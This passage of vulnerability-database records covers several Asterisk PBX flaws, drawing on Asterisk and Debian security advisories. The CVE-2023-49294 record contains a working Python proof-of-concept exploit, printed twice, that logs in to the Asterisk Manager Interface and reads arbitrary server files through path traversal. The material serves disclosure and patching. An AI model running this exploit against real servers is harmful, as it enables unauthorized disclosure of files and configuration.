attack (such as “nat=no” or “nat=force_rport”), but will
need to be tested on an individual basis to ensure that it
works for the user’s deployment. On the fixed versions of
Asterisk, it will no longer set the address of the peer
before authentication is successful when a SIP request comes
in.
Affected Versions
Product Release
Series
Asterisk Open Source 13.x All releases
Asterisk Open Source 16.x All releases
Asterisk Open Source 17.x All releases
Certified Asterisk 13.21 All releases
Corrected In
Product Release
Asterisk Open Source 13.29.2
Asterisk Open Source 16.6.2
Asterisk Open Source 17.0.1
Certified Asterisk 13.21-cert5
Patches
SVN URL Revision
http://downloads.asterisk.org/pub/security/AST-2019-006-13.diff Asterisk 13
http://downloads.asterisk.org/pub/security/AST-2019-006-16.diff Asterisk 16
http://downloads.asterisk.org/pub/security/AST-2019-006-17.diff Asterisk 17
http://downloads.asterisk.org/pub/security/AST-2019-006-13.21.diff Certified
Asterisk
13.21-cert5
Links https://issues.asterisk.org/jira/browse/ASTERISK-28589
Asterisk Project Security Advisories are posted at
http://www.asterisk.org/security
This document may be superseded by later versions; if so, the latest
version will be posted at
http://downloads.digium.com/pub/security/AST-2019-006.pdf and
http://downloads.digium.com/pub/security/AST-2019-006.html
Revision History
Date Editor Revisions Made
October 22, 2019 Ben Ford Initial Revision
November 14, 2019 Ben Ford Corrected and updated fields for
versioning, and added CVE
November 21, 2019 Ben Ford Added “Posted On” date
Asterisk Project Security Advisory - AST-2019-006
Copyright © 2019 Digium, Inc. All Rights Reserved.
Permission is hereby granted to distribute and publish this advisory in its original, unaltered form
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"data": "An issue was discovered in channels/chan_sip.c in Sangoma Asterisk 13.x before 13.29.2, 16.x before 16.6.2, and 17.x before 17.0.1, and Certified Asterisk 13.21 before cert5. A SIP request can be sent to Asterisk that can change a SIP peer\u0027s IP address. A REGISTER does not need to occur, and calls can be hijacked as a result. The only thing that needs to be known is the peer\u0027s name; authentication details such as passwords do not need to be known. This vulnerability is only exploitable when the nat option is set to the default, or auto_force_rport. Sangoma Technologies Asterisk is an open source telephone exchange (PBX) system software. The software supports voice mail, multi-party voice conferencing, interactive voice response (IVR), and more. An attacker could use this vulnerability to cause a denial of service. \n Nature of Advisory Denial of Service \n Susceptibility Remote Unauthenticated Sessions \n Severity Minor \n Exploits Known No \n Reported On October 17, 2019 \n Reported By Andrey V. T. \n Modules Affected channels/chan_sip.c \n\n Resolution Using any other option value for \u201cnat\u201d will prevent the \n attack (such as \u201cnat=no\u201d or \u201cnat=force_rport\u201d), but will \n need to be tested on an individual basis to ensure that it \n works for the user\u2019s deployment. On the fixed versions of \n Asterisk, it will no longer set the address of the peer \n before authentication is successful when a SIP request comes \n in. \n\n Affected Versions \n Product Release \n Series \n Asterisk Open Source 13.x All releases \n Asterisk Open Source 16.x All releases \n Asterisk Open Source 17.x All releases \n Certified Asterisk 13.21 All releases \n\n Corrected In \n Product Release \n Asterisk Open Source 13.29.2 \n Asterisk Open Source 16.6.2 \n Asterisk Open Source 17.0.1 \n Certified Asterisk 13.21-cert5 \n\n Patches \n SVN URL Revision \n http://downloads.asterisk.org/pub/security/AST-2019-006-13.diff Asterisk 13 \n http://downloads.asterisk.org/pub/security/AST-2019-006-16.diff Asterisk 16 \n http://downloads.asterisk.org/pub/security/AST-2019-006-17.diff Asterisk 17 \n http://downloads.asterisk.org/pub/security/AST-2019-006-13.21.diff Certified \n Asterisk \n 13.21-cert5 \n\n Links https://issues.asterisk.org/jira/browse/ASTERISK-28589 \n\n Asterisk Project Security Advisories are posted at \n http://www.asterisk.org/security \n \n This document may be superseded by later versions; if so, the latest \n version will be posted at \n http://downloads.digium.com/pub/security/AST-2019-006.pdf and \n http://downloads.digium.com/pub/security/AST-2019-006.html \n\n Revision History\n Date Editor Revisions Made \n October 22, 2019 Ben Ford Initial Revision \n November 14, 2019 Ben Ford Corrected and updated fields for \n versioning, and added CVE \n November 21, 2019 Ben Ford Added \u201cPosted On\u201d date \n\n Asterisk Project Security Advisory - AST-2019-006\n Copyright \u00a9 2019 Digium, Inc. All Rights Reserved. \n Permission is hereby granted to distribute and publish this advisory in its\n original, unaltered form",
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VAR-201911-1367
Vulnerability from variot - Updated: 2024-11-23 21:52An issue was discovered in res_pjsip_t38.c in Sangoma Asterisk through 13.x and Certified Asterisk through 13.21-x. If it receives a re-invite initiating T.38 faxing and has a port of 0 and no c line in the SDP, a NULL pointer dereference and crash will occur. This is different from CVE-2019-18940. This vulnerability CVE-CVE-2019-18940 Is a different vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Sangoma Technologies Asterisk is an open source telephone exchange (PBX) system software. The software supports voicemail, multi-party voice conferencing, interactive voice response (IVR), and more. The vulnerability originates from improper design or implementation during code development of a network system or product. An attacker could use this vulnerability to execute malicious code. Asterisk Project Security Advisory -
Product Asterisk
Summary Re-invite with T.38 and malformed SDP causes crash.
Nature of Advisory Remote Crash
Susceptibility Remote Authenticated Sessions
Severity Minor
Exploits Known No
Reported On November 07, 2019
Reported By Salah Ahmed
Posted On November 21, 2019
Last Updated On November 21, 2019
Advisory Contact bford AT sangoma DOT com
CVE Name CVE-2019-18976
Description If Asterisk receives a re-invite initiating T.38
faxing and has a port of 0 and no c line in the SDP, a
crash will occur.
Modules Affected res_pjsip_t38.c
Resolution If T.38 faxing is not needed, then the “t38_udptl”
configuration option in pjsip.conf can be set to “no” to
disable the functionality. This option automatically
defaults to “no” and would have to be manually turned on to
experience this crash.
If T.38 faxing is needed, then Asterisk should be upgraded
to a fixed version.
Affected Versions
Product Release
Series
Asterisk Open Source 13.x All versions
Certified Asterisk 13.21 All versions
Corrected In
Product Release
Asterisk Open Source 13.29.2
Certified Asterisk 13.21-cert5
Patches
SVN URL Revision
http://downloads.asterisk.org/pub/security/AST-2019-008-13.diff Asterisk 13
http://downloads.asterisk.org/pub/security/AST-2019-008-13.21.diff Certified
Asterisk
13.21-cert5
Links https://issues.asterisk.org/jira/browse/ASTERISK-28612
Asterisk Project Security Advisories are posted at
http://www.asterisk.org/security
This document may be superseded by later versions; if so, the latest
version will be posted at http://downloads.digium.com/pub/security/.pdf
and http://downloads.digium.com/pub/security/.html
Revision History
Date Editor Revisions Made
November 12, 2019 Ben Ford Initial Revision
November 21, 2019 Ben Ford Added “Posted On” date
Asterisk Project Security Advisory -
Copyright © 2019 Digium, Inc. All Rights Reserved.
Permission is hereby granted to distribute and publish this advisory in its original, unaltered form
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VAR-202312-0487
Vulnerability from variot - Updated: 2024-08-14 14:30Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1; as well as certified-asterisk prior to 18.9-cert6; Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. Commit d7d7764cb07c8a1872804321302ef93bf62cba05 contains a fix, which is part of versions 18.20.1, 20.5.1, 21.0.1, amd 18.9-cert6. Digium of Asterisk Race condition vulnerabilities exist in products from multiple vendors.Service operation interruption (DoS) It may be in a state. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Debian Security Advisory DSA-5596-1 security@debian.org https://www.debian.org/security/ Markus Koschany January 04, 2024 https://www.debian.org/security/faq
Package : asterisk CVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786 Debian Bug : 1059303 1059032 1059033
Multiple security vulnerabilities have been discovered in Asterisk, an Open Source Private Branch Exchange.
CVE-2023-37457
The 'update' functionality of the PJSIP_HEADER dialplan function can exceed
the available buffer space for storing the new value of a header. By doing
so this can overwrite memory or cause a crash. This is not externally
exploitable, unless dialplan is explicitly written to update a header based
on data from an outside source. If the 'update' functionality is not used
the vulnerability does not occur.
CVE-2023-38703
PJSIP is a free and open source multimedia communication library written in
C with high level API in C, C++, Java, C#, and Python languages. SRTP is a
higher level media transport which is stacked upon a lower level media
transport such as UDP and ICE. Currently a higher level transport is not
synchronized with its lower level transport that may introduce a
use-after-free issue. This vulnerability affects applications that have
SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media
transport other than UDP. This vulnerability’s impact may range from
unexpected application termination to control flow hijack/memory
corruption.
CVE-2023-49294
It is possible to read any arbitrary file even when the `live_dangerously`
option is not enabled.
For the oldstable distribution (bullseye), these problems have been fixed in version 1:16.28.0~dfsg-0+deb11u4.
We recommend that you upgrade your asterisk packages.
For the detailed security status of asterisk please refer to its security tracker page at: https://security-tracker.debian.org/tracker/asterisk
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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"data": "Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1; as well as certified-asterisk prior to 18.9-cert6; Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. Commit d7d7764cb07c8a1872804321302ef93bf62cba05 contains a fix, which is part of versions 18.20.1, 20.5.1, 21.0.1, amd 18.9-cert6. Digium of Asterisk Race condition vulnerabilities exist in products from multiple vendors.Service operation interruption (DoS) It may be in a state. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-5596-1 security@debian.org\nhttps://www.debian.org/security/ Markus Koschany\nJanuary 04, 2024 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : asterisk\nCVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786\nDebian Bug : 1059303 1059032 1059033\n\nMultiple security vulnerabilities have been discovered in Asterisk, an Open\nSource Private Branch Exchange. \n\nCVE-2023-37457\n\n The \u0027update\u0027 functionality of the PJSIP_HEADER dialplan function can exceed\n the available buffer space for storing the new value of a header. By doing\n so this can overwrite memory or cause a crash. This is not externally\n exploitable, unless dialplan is explicitly written to update a header based\n on data from an outside source. If the \u0027update\u0027 functionality is not used\n the vulnerability does not occur. \n\nCVE-2023-38703\n\n PJSIP is a free and open source multimedia communication library written in\n C with high level API in C, C++, Java, C#, and Python languages. SRTP is a\n higher level media transport which is stacked upon a lower level media\n transport such as UDP and ICE. Currently a higher level transport is not\n synchronized with its lower level transport that may introduce a\n use-after-free issue. This vulnerability affects applications that have\n SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media\n transport other than UDP. This vulnerability\u2019s impact may range from\n unexpected application termination to control flow hijack/memory\n corruption. \n\nCVE-2023-49294\n\n It is possible to read any arbitrary file even when the `live_dangerously`\n option is not enabled. \n\n\nFor the oldstable distribution (bullseye), these problems have been fixed\nin version 1:16.28.0~dfsg-0+deb11u4. \n\nWe recommend that you upgrade your asterisk packages. \n\nFor the detailed security status of asterisk please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/asterisk\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmWXIDJfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD\nRjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7\nUeRqthAA0ZarRHMpoNwTCAiVuVzcNqGVls/XvEvDbw1DNgjeKptlm4qafmVxHd6F\nJtloc8zD2w0sOCZCSbATZDosXlFCkAj09aI6oSfJOLBlqRDFVNhPn1Y4a1xOgAfl\nAZyn458v3TqlNFcZjJ89qHHociZ+fDfMUYpMsp/v9A4AOQjKn7AKYJ7aaL5PHR8b\nzejn2pP/8Hv592K4+xa5h/6a0AaXX0eOTlxZDFh7x93oP+op0k4v1J7ivP+Qs4wk\nT5iOqs6JrMc640ZprXB3c8HjapZt4ee5+Yp7An3Z7o/r9crXqT/6ocIRPmkomXVb\nbhZXSfEs5BmzkdWSnOBigSWthSp9umPKWWV9wUwSe1115XxhT43J7oBix9gkNCEu\nmN5Po/yaZQUDEtWx1DpVZtI3TNBwyv28f2XoUy72oq0WqEvBGC8hLDMXqjVWxhRh\nbRXfairiS/pfx2h4eIT5xUKX7xUUCEcGpZ2hIEgGGlS8TX2le+mWa+ipKNPYrBWJ\nQvg+MJ2JD9O3jMMS85y7ISuWUDNSeIDUSa0E48QWExZd8tmuknyDgPx5i4/nDVC+\nsxH1LnEgbUjLLfCCF0CZgbYebiEmUqyfvOSaJ3olekrxkje2WwVY+uJ4NJXBycPU\n+k3Db3c/h/zoYJ9A3ZKz/xu5L32grES2FMxdBDFeF/5VloO4/dg=N8+A\n-----END PGP SIGNATURE-----\n",
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VAR-202312-2340
Vulnerability from variot - Updated: 2024-08-14 14:30Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, it is possible to read any arbitrary file even when the live_dangerously is not enabled. This allows arbitrary files to be read. Asterisk versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, contain a fix for this issue. Digium of Asterisk Path traversal vulnerabilities exist in products from multiple vendors.Information may be obtained. # Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
Date: 2023-03-26
Exploit Author: Sean Pesce
Vendor Homepage: https://asterisk.org/
Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
Version: 18.20.0
Tested on: Debian Linux
CVE: CVE-2023-49294
!/usr/bin/env python3
Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
to the common INI configuration format.
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-49294
https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f
https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/
import argparse import getpass import socket import sys
CVE_ID = 'CVE-2023-49294'
DEFAULT_PORT = 5038 DEFAULT_FILE = '/etc/hosts' DEFAULT_ACTION_ID = 0 DEFAULT_TCP_READ_SZ = 1048576 # 1MB
def ami_msg(action, args, encoding='utf8'): assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}' assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}' if 'ActionID' not in args: args['ActionID'] = 0 line_sep = '\r\n' data = f'Action: {action}{line_sep}' for a in args: data += f'{a}: {args[a]}{line_sep}' data += line_sep return data.encode(encoding)
def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ): assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}' sock.sendall(data) resp = b'' while not resp.endswith(b'\r\n\r\n'): resp += sock.recv(read_sz) return resp
if name == 'main': # Parse command-line arguments argparser = argparse.ArgumentParser() argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server') argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT) argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True) argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None) argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE) argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID) if '-h' in sys.argv or '--help' in sys.argv: print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr) argparser.print_help() sys.exit(0) args = argparser.parse_args()
# Validate command-line arguments
assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'
args.host = socket.gethostbyname(args.host)
if args.password is None:
args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')
print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr)
# Connect to the Asterisk AMI server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect((args.host, args.port))
# Read server banner
banner = sock.recv(DEFAULT_TCP_READ_SZ)
print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)
# Authenticate to the Asterisk AMI server
login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
login_resp = tcp_send_rcv(sock, login_msg)
while b'Authentication' not in login_resp:
login_resp = tcp_send_rcv(sock, b'')
if b'Authentication accepted' not in login_resp:
print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)
sys.exit(1)
#print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
print(f'[INFO] Login success', file=sys.stderr)
# Obtain file data via path traversal
traversal = '../../../../../../../../'
cfg_msg = ami_msg('GetConfig', {
'ActionID': args.action_id,
'Filename': f'{traversal}{args.file}',
#'Category': 'default',
#'Filter': 'name_regex=value_regex,',
})
resp = tcp_send_rcv(sock, cfg_msg)
while b'Response' not in resp:
resp = tcp_send_rcv(sock, b'')
print(f'', file=sys.stderr)
print(f'{resp.decode("utf8")}')
if b'Error' in resp:
sys.exit(1)
pass # Done
. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Debian Security Advisory DSA-5596-1 security@debian.org https://www.debian.org/security/ Markus Koschany January 04, 2024 https://www.debian.org/security/faq
Package : asterisk CVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786 Debian Bug : 1059303 1059032 1059033
Multiple security vulnerabilities have been discovered in Asterisk, an Open Source Private Branch Exchange.
CVE-2023-37457
The 'update' functionality of the PJSIP_HEADER dialplan function can exceed
the available buffer space for storing the new value of a header. By doing
so this can overwrite memory or cause a crash. This is not externally
exploitable, unless dialplan is explicitly written to update a header based
on data from an outside source. If the 'update' functionality is not used
the vulnerability does not occur.
CVE-2023-38703
PJSIP is a free and open source multimedia communication library written in
C with high level API in C, C++, Java, C#, and Python languages. SRTP is a
higher level media transport which is stacked upon a lower level media
transport such as UDP and ICE. Currently a higher level transport is not
synchronized with its lower level transport that may introduce a
use-after-free issue. This vulnerability affects applications that have
SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media
transport other than UDP. This vulnerability’s impact may range from
unexpected application termination to control flow hijack/memory
corruption.
CVE-2023-49786
Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP.
For the oldstable distribution (bullseye), these problems have been fixed in version 1:16.28.0~dfsg-0+deb11u4.
We recommend that you upgrade your asterisk packages.
For the detailed security status of asterisk please refer to its security tracker page at: https://security-tracker.debian.org/tracker/asterisk
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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"data": "Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, it is possible to read any arbitrary file even when the `live_dangerously` is not enabled. This allows arbitrary files to be read. Asterisk versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, contain a fix for this issue. Digium of Asterisk Path traversal vulnerabilities exist in products from multiple vendors.Information may be obtained. # Exploit Title: Asterisk AMI - Partial File Content \u0026 Path Disclosure (Authenticated)\n# Date: 2023-03-26\n# Exploit Author: Sean Pesce\n# Vendor Homepage: https://asterisk.org/\n# Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/\n# Version: 18.20.0\n# Tested on: Debian Linux\n# CVE: CVE-2023-49294\n\n#!/usr/bin/env python3\n#\n# Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that\n# facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of\n# file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar\n# to the common INI configuration format. \n#\n# References:\n# https://nvd.nist.gov/vuln/detail/CVE-2023-49294\n# https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f\n# https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/\n\n\nimport argparse\nimport getpass\nimport socket\nimport sys\n\n\nCVE_ID = \u0027CVE-2023-49294\u0027\n\nDEFAULT_PORT = 5038\nDEFAULT_FILE = \u0027/etc/hosts\u0027\nDEFAULT_ACTION_ID = 0\nDEFAULT_TCP_READ_SZ = 1048576 # 1MB\n\n\n\ndef ami_msg(action, args, encoding=\u0027utf8\u0027):\n assert type(action) == str, f\u0027Invalid type for AMI Action (expected string): {type(action)}\u0027\n assert type(args) == dict, f\u0027Invalid type for AMI arguments (expected dict): {type(args)}\u0027\n if \u0027ActionID\u0027 not in args:\n args[\u0027ActionID\u0027] = 0\n line_sep = \u0027\\r\\n\u0027\n data = f\u0027Action: {action}{line_sep}\u0027\n for a in args:\n data += f\u0027{a}: {args[a]}{line_sep}\u0027\n data += line_sep\n return data.encode(encoding)\n\n\n\ndef tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):\n assert type(data) in (bytes, bytearray, memoryview), f\u0027Invalid data type (expected bytes): {type(data)}\u0027\n sock.sendall(data)\n resp = b\u0027\u0027\n while not resp.endswith(b\u0027\\r\\n\\r\\n\u0027):\n resp += sock.recv(read_sz)\n return resp\n\n\n\nif __name__ == \u0027__main__\u0027:\n # Parse command-line arguments\n argparser = argparse.ArgumentParser()\n argparser.add_argument(\u0027host\u0027, type=str, help=\u0027The host name or IP address of the Asterisk AMI server\u0027)\n argparser.add_argument(\u0027-p\u0027, \u0027--port\u0027, type=int, help=f\u0027Asterisk AMI TCP port (default: {DEFAULT_PORT})\u0027, default=DEFAULT_PORT)\n argparser.add_argument(\u0027-u\u0027, \u0027--user\u0027, type=str, help=f\u0027Asterisk AMI user\u0027, required=True)\n argparser.add_argument(\u0027-P\u0027, \u0027--password\u0027, type=str, help=f\u0027Asterisk AMI secret\u0027, default=None)\n argparser.add_argument(\u0027-f\u0027, \u0027--file\u0027, type=str, help=f\u0027File to read (default: {DEFAULT_FILE})\u0027, default=DEFAULT_FILE)\n argparser.add_argument(\u0027-a\u0027, \u0027--action-id\u0027, type=int, help=f\u0027Action ID (default: {DEFAULT_ACTION_ID})\u0027, default=DEFAULT_ACTION_ID)\n if \u0027-h\u0027 in sys.argv or \u0027--help\u0027 in sys.argv:\n print(f\u0027Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \\nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\\n\u0027, file=sys.stderr)\n argparser.print_help()\n sys.exit(0)\n args = argparser.parse_args()\n\n # Validate command-line arguments\n assert 1 \u003c= args.port \u003c= 65535, f\u0027Invalid port number: {args.port}\u0027\n args.host = socket.gethostbyname(args.host)\n if args.password is None:\n args.password = getpass.getpass(f\u0027[PROMPT] Enter the AMI password for {args.user}: \u0027)\n\n print(f\u0027[INFO] Proof of concept exploit for {CVE_ID}\u0027, file=sys.stderr)\n print(f\u0027[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}\u0027, file=sys.stderr)\n\n # Connect to the Asterisk AMI server\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.connect((args.host, args.port))\n\n # Read server banner\n banner = sock.recv(DEFAULT_TCP_READ_SZ)\n print(f\u0027[INFO] Connected to {banner.decode(\"utf8\").strip()}\u0027, file=sys.stderr)\n\n # Authenticate to the Asterisk AMI server\n login_msg = ami_msg(\u0027Login\u0027, {\u0027Username\u0027:args.user,\u0027Secret\u0027:args.password})\n login_resp = tcp_send_rcv(sock, login_msg)\n while b\u0027Authentication\u0027 not in login_resp:\n login_resp = tcp_send_rcv(sock, b\u0027\u0027)\n if b\u0027Authentication accepted\u0027 not in login_resp:\n print(f\u0027\\n[ERROR] Invalid credentials: \\n{login_resp.decode(\"utf8\")}\u0027, file=sys.stderr)\n sys.exit(1)\n #print(f\u0027[INFO] Authenticated: {login_resp.decode(\"utf8\")}\u0027, file=sys.stderr)\n print(f\u0027[INFO] Login success\u0027, file=sys.stderr)\n\n # Obtain file data via path traversal\n traversal = \u0027../../../../../../../../\u0027\n cfg_msg = ami_msg(\u0027GetConfig\u0027, {\n \u0027ActionID\u0027: args.action_id,\n \u0027Filename\u0027: f\u0027{traversal}{args.file}\u0027,\n #\u0027Category\u0027: \u0027default\u0027,\n #\u0027Filter\u0027: \u0027name_regex=value_regex,\u0027,\n })\n resp = tcp_send_rcv(sock, cfg_msg)\n while b\u0027Response\u0027 not in resp:\n resp = tcp_send_rcv(sock, b\u0027\u0027)\n\n print(f\u0027\u0027, file=sys.stderr)\n print(f\u0027{resp.decode(\"utf8\")}\u0027)\n\n if b\u0027Error\u0027 in resp:\n sys.exit(1)\n\n pass # Done\n \n\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-5596-1 security@debian.org\nhttps://www.debian.org/security/ Markus Koschany\nJanuary 04, 2024 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : asterisk\nCVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786\nDebian Bug : 1059303 1059032 1059033\n\nMultiple security vulnerabilities have been discovered in Asterisk, an Open\nSource Private Branch Exchange. \n\nCVE-2023-37457\n\n The \u0027update\u0027 functionality of the PJSIP_HEADER dialplan function can exceed\n the available buffer space for storing the new value of a header. By doing\n so this can overwrite memory or cause a crash. This is not externally\n exploitable, unless dialplan is explicitly written to update a header based\n on data from an outside source. If the \u0027update\u0027 functionality is not used\n the vulnerability does not occur. \n\nCVE-2023-38703\n\n PJSIP is a free and open source multimedia communication library written in\n C with high level API in C, C++, Java, C#, and Python languages. SRTP is a\n higher level media transport which is stacked upon a lower level media\n transport such as UDP and ICE. Currently a higher level transport is not\n synchronized with its lower level transport that may introduce a\n use-after-free issue. This vulnerability affects applications that have\n SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media\n transport other than UDP. This vulnerability\u2019s impact may range from\n unexpected application termination to control flow hijack/memory\n corruption. \n\nCVE-2023-49786\n\n Asterisk is susceptible to a DoS due to a race condition in the hello\n handshake phase of the DTLS protocol when handling DTLS-SRTP for media\n setup. This attack can be done continuously, thus denying new DTLS-SRTP\n encrypted calls during the attack. Abuse of this vulnerability may lead to\n a massive Denial of Service on vulnerable Asterisk servers for calls that\n rely on DTLS-SRTP. \n\n\nFor the oldstable distribution (bullseye), these problems have been fixed\nin version 1:16.28.0~dfsg-0+deb11u4. \n\nWe recommend that you upgrade your asterisk packages. \n\nFor the detailed security status of asterisk please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/asterisk\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmWXIDJfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD\nRjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7\nUeRqthAA0ZarRHMpoNwTCAiVuVzcNqGVls/XvEvDbw1DNgjeKptlm4qafmVxHd6F\nJtloc8zD2w0sOCZCSbATZDosXlFCkAj09aI6oSfJOLBlqRDFVNhPn1Y4a1xOgAfl\nAZyn458v3TqlNFcZjJ89qHHociZ+fDfMUYpMsp/v9A4AOQjKn7AKYJ7aaL5PHR8b\nzejn2pP/8Hv592K4+xa5h/6a0AaXX0eOTlxZDFh7x93oP+op0k4v1J7ivP+Qs4wk\nT5iOqs6JrMc640ZprXB3c8HjapZt4ee5+Yp7An3Z7o/r9crXqT/6ocIRPmkomXVb\nbhZXSfEs5BmzkdWSnOBigSWthSp9umPKWWV9wUwSe1115XxhT43J7oBix9gkNCEu\nmN5Po/yaZQUDEtWx1DpVZtI3TNBwyv28f2XoUy72oq0WqEvBGC8hLDMXqjVWxhRh\nbRXfairiS/pfx2h4eIT5xUKX7xUUCEcGpZ2hIEgGGlS8TX2le+mWa+ipKNPYrBWJ\nQvg+MJ2JD9O3jMMS85y7ISuWUDNSeIDUSa0E48QWExZd8tmuknyDgPx5i4/nDVC+\nsxH1LnEgbUjLLfCCF0CZgbYebiEmUqyfvOSaJ3olekrxkje2WwVY+uJ4NJXBycPU\n+k3Db3c/h/zoYJ9A3ZKz/xu5L32grES2FMxdBDFeF/5VloO4/dg=N8+A\n-----END PGP SIGNATURE-----\n",
